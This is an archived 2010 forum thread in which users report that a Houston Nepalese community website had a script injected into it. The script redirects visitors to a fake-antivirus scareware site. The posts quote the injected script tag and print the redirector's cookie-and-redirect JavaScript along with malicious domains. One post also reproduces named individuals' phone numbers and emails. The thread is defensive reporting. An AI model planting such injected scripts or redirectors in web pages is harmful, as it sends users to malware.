Malware link on www.houstonnepalese.org

Archived from the original Sajha.com — preserved as posted, replies can no longer be added here.

Archived Post

There's some malicious script embedded within www.houstonnepalese.org site. This script, upon execution, redirects browsers to some malware housing site.   I tried sending an email to admin@houstonnepalese.org , but it bounced back. Technical details of permanent failure: Google tried to deliver your message, but it was rejected by the recipient domain. We recommend contacting the other email provider for further information about the cause of this error. The error that the other server returned was: 554 554 5.7.1 <admin@houstonnepalese.org>: Recipient address rejected: Access denied (state 14). ----- Original message ----- Can someone pass this info to the appropriate website admin(s)? They should remove the following from their source code: <script src="http://whereisdudescars.com/js..."></script> Thanks! ~@~

SAAJHA · Aug 19, 2010 12:05 PM · 19,277 views

6 Replies

News Contacts [Disallowed String for - ] language=JavaScript type=text/javascript> [Disallowed String for - ] type=text/javascript> Contacts Dr. Rupak Rauniar 6776 Southwest Freeway, Suite 450 Houston, TX 77074 T: (713) 773-4348 F: (713) 773-1948 NAH Emergency Contacts: 1. Gyanshor Shrestha, 832-816-6448, gyanshor@yahoo.com 2. Rupak Rauniar, 713-436-3677, rrauniar@yahoo.com 3. Chej Gurung, 832-526-8750, grgchej@yahoo.com   Fill this form out if you want to subscribe to our newsgroup or have any other comments. Enter your name: E-mail address: Message subject: Enter your message:

MillionDollars · Aug 19, 2010 12:09 PM

use FF or chrome while Browsing this Site..Google's Safe Browsing API Flags this Site as Hosting/Redirecting to download Scare ware/fake-av.However this Site doesn't seem to host the Exploits.

pyaradeshbasiharu · Aug 19, 2010 12:27 PM

Damn bro.....that sucks

terobaaje · Aug 19, 2010 12:31 PM

I just spoke with someone and passed the info. Thanks - MillionDollars! @pyara -- the site isn't hosting the exploit; it's got the redirector that takes your browser to the site that does: <script src="http://whereisdudescars.com/js..."></script> Do the view source, and look at the bottom of the page; you should see the above script. whereisdudescars.com is the site that houses the fakeAV stuff. ~@~

SAAJHA · Aug 19, 2010 12:42 PM

@saajha..It's a Multiple redirect, Seems as if the Actual Landing Point is the Following URL http://www4.checkpc95.co.cc/p=... triggers the Fake-AV/Scare ware. This is the Source-code from http://whereisdudescars.com function sec(conn,v,ex){ var exdate=new Date(); exdate.setDate(exdate.getDate()+ex); document.cookie=conn+"="+escape(v)+";expires="+exdate.toGMTString(); } function gec(conn){ if (document.cookie.length>0){ cs=document.cookie.indexOf(conn+"="); if (cs!=-1){cs=cs+conn.length+1;ce=document.cookie.indexOf(";",cs);if (ce==-1) ce=document.cookie.length;return unescape(document.cookie.substring(cs,ce));} } return ""; } var n=gec("xornopxor"); if (n==""){ sec("xornopxor","1",20); var u="http://www4.checkpc95.co.cc/?p..."; window.top.location.replace(u);  ..Neverthless whoz Life treating You.!!

pyaradeshbasiharu · Aug 19, 2010 1:01 PM

I just opened this on my work computer. Does anyone know if this stays on my computer or how to get rid of this?

duracell · Aug 19, 2010 1:04 PM

This conversation is preserved exactly as it was on the original Sajha.com and can't accept new replies.

Start a New Discussion

Malware link on www.houstonnepalese.org

You might be interested in...